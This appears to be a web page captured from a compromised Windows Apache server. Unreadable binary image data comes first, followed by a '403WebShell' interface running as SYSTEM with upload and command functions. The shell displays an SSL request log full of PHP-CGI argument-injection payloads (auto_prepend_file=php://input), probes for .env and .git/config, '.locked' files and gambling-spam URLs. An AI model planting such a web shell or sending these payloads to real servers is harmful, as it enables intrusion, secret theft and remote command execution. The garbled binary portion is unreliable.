�a����J�SQ�a���r�B;����}���ٻ֢�2�%U���c�#�g���N�a�ݕ�'�v�[�OY'��3L�3�;,p�]@�S��{ls��X�'���c�jw� k'a�.��}�}&�� �dP�*�bK=ɍ!����;3n�gΊU�ߴmt�'*{,=SzfD� A��ko~�G�aoq�_mi}#�m�������P�Xhύ��� �mxǍ�΂���巿zf��Q���c���|kc�����?���W��Y�$���_Lv����l߶��c���`?����l�j�ݲˏ!V��6����U�Ђ(A���4y)H���p�Z_�x��>���e�� R��$�/�`^'3qˏ�-&Q�=?��CFVR �D�fV�9��{�8g�������n�h�(P"��6�[�D���< E�����~0<@�`�G�6����Hг�cc�� �c�K.5��D��d�B���`?�XQ��2��ٿyqo&+�1^� DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1 [y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN�� ĕ�� 0    !01@Q"2AaPq3BR������ ? � ��@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j �ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^� ��ԯ̾9Z��F��������n��1��� ��]�[��)�'������ :�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ��&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0�� ;_�� 3     !01"@AQa2Pq#3BR������ ? � �ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6�������� ��4B>��o��](��$B���m�����a�!=� �?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{ E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)��� �I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a �84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b� �$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7� �k�� 403WebShell
403Webshell
Server IP : 127.0.0.1  /  Your IP : 10.100.1.254
Web Server : Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
System : Windows NT WIZC-EXTRANET 10.0 build 19045 (Windows 10) AMD64
User : SYSTEM ( 0)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Users/owner/Documents/apache/logs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : C:/Users/owner/Documents/apache/logs/ssl_request.log
[26/Nov/2024:09:54:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:10:00:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[26/Nov/2024:10:00:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:10:00:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/favicon.ico HTTP/1.1" -
[26/Nov/2024:10:00:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:10:00:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[26/Nov/2024:10:14:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:10:28:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[26/Nov/2024:10:33:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /?%E7%A5%9E%E7%9B%BE%E8%82%A1%E5%83%B9-news-teqzjhsrbqyid-7363 HTTP/1.1" -
[26/Nov/2024:10:33:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:10:34:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:10:36:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[26/Nov/2024:10:42:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[26/Nov/2024:10:42:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:10:42:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[26/Nov/2024:10:42:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/index.php HTTP/1.1" 16
[26/Nov/2024:10:54:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:11:14:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:11:23:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[26/Nov/2024:11:23:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[26/Nov/2024:11:23:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:11:23:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:11:32:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[26/Nov/2024:11:34:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[26/Nov/2024:11:34:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:11:34:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[26/Nov/2024:11:54:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:12:14:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:12:34:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:12:41:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[26/Nov/2024:12:54:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:13:25:34 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[26/Nov/2024:13:34:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:13:41:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[26/Nov/2024:13:41:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[26/Nov/2024:13:41:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:13:41:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:13:51:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/%E8%BA%AB%E5%BF%83%E9%9A%9C%E7%A4%99%E9%91%91%E5%AE%9A%E6%B5%81%E7%A8%8B%E5%9C%96.pdf HTTP/1.1" -
[26/Nov/2024:13:56:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:13:56:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:14:10:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[26/Nov/2024:14:14:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:14:17:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[26/Nov/2024:14:34:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[26/Nov/2024:14:34:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[26/Nov/2024:14:41:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/test/uploads/IMG_0724.JPG HTTP/1.1" 2779347
[26/Nov/2024:14:46:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[26/Nov/2024:14:51:22 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[26/Nov/2024:14:59:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/get_times.php.locked HTTP/1.1" -
[26/Nov/2024:15:06:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/hidpi/lock.png HTTP/1.1" 1062
[26/Nov/2024:15:14:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:15:32:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/icons.png HTTP/1.1" 12237
[26/Nov/2024:15:32:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[26/Nov/2024:15:32:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:15:34:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:15:37:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.git/config HTTP/1.1" 300
[26/Nov/2024:15:55:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:15:55:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:15:58:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_h5.png HTTP/1.1" 126
[26/Nov/2024:16:12:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dept6.php/20241017winbet99-news-zsuatwgpkmid-30971 HTTP/1.1" -
[26/Nov/2024:16:15:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:16:17:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.git/config HTTP/1.1" 300
[26/Nov/2024:16:23:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/link/images/anchor.png HTTP/1.1" 589
[26/Nov/2024:16:26:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "-" -
[26/Nov/2024:16:34:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:16:36:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/dept/index9328g.html?route=service/service HTTP/1.1" 10591
[26/Nov/2024:16:36:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[26/Nov/2024:16:36:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:16:40:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[26/Nov/2024:16:49:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/demo-mobile/images/login1.jpg HTTP/1.1" 25789
[26/Nov/2024:16:51:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[26/Nov/2024:16:55:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:17:08:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/home/prodlistB.php.locked HTTP/1.1" -
[26/Nov/2024:17:08:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:17:14:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:17:15:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/pagebreak/images/pagebreak.gif HTTP/1.1" 54
[26/Nov/2024:17:17:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/index9328a.html HTTP/1.1" 14096
[26/Nov/2024:17:17:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/apps/website/view/theme/default/stylesheet/change.css HTTP/1.1" -
[26/Nov/2024:17:17:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/apps/website/view/theme/default/stylesheet/style.css HTTP/1.1" -
[26/Nov/2024:17:17:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/apps/website/images/about-img-3.svg HTTP/1.1" -
[26/Nov/2024:17:17:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/apps/website/view/javascript/core/ming.js HTTP/1.1" -
[26/Nov/2024:17:17:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/apps/website/images/logo.svg HTTP/1.1" -
[26/Nov/2024:17:17:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/apps/website/view/theme/default/javascript/swiper.min.js HTTP/1.1" -
[26/Nov/2024:17:17:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/apps/website/view/javascript/core/libraries/jquery.min.js HTTP/1.1" -
[26/Nov/2024:17:17:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/apps/website/view/javascript/core/libraries/jquery-ui/jquery-ui.min.js HTTP/1.1" -
[26/Nov/2024:17:17:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/apps/website/view/theme/default/stylesheet/responsive.css HTTP/1.1" -
[26/Nov/2024:17:18:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/apps/website/view/theme/default/javascript/jquery.min.js HTTP/1.1" -
[26/Nov/2024:17:18:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:17:18:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:17:18:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/apps/website/images/top.svg HTTP/1.1" -
[26/Nov/2024:17:18:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:17:18:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /spaw/empty/apps/website/view/theme/default/javascript/wow.min.js HTTP/1.1" 305
[26/Nov/2024:17:18:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:17:18:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:17:18:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:17:18:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:17:18:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /spaw/empty/apps/website/view/theme/default/javascript/main.js HTTP/1.1" 305
[26/Nov/2024:17:18:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:17:22:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/time.php.bak HTTP/1.1" -
[26/Nov/2024:17:34:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:17:41:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_pre.png HTTP/1.1" 128
[26/Nov/2024:17:41:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[26/Nov/2024:17:41:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:17:55:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:18:17:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/fonts/fontawesome-webfont3e6e.svg HTTP/1.1" 447050
[26/Nov/2024:18:35:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:18:47:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dashboard/faq.html HTTP/1.1" 305
[26/Nov/2024:18:53:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[26/Nov/2024:18:53:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:18:53:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/validatebox_warning.png HTTP/1.1" 921
[26/Nov/2024:18:55:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:18:56:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[26/Nov/2024:19:14:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[26/Nov/2024:19:14:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[26/Nov/2024:19:29:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/icons_hidpi.png HTTP/1.1" 38309
[26/Nov/2024:19:34:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[26/Nov/2024:19:46:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /?mon86club-video-ngqmtwgpirid-21192 HTTP/1.1" -
[26/Nov/2024:19:47:57 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[26/Nov/2024:19:51:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/wsc/icons/spellchecker.png HTTP/1.1" 836
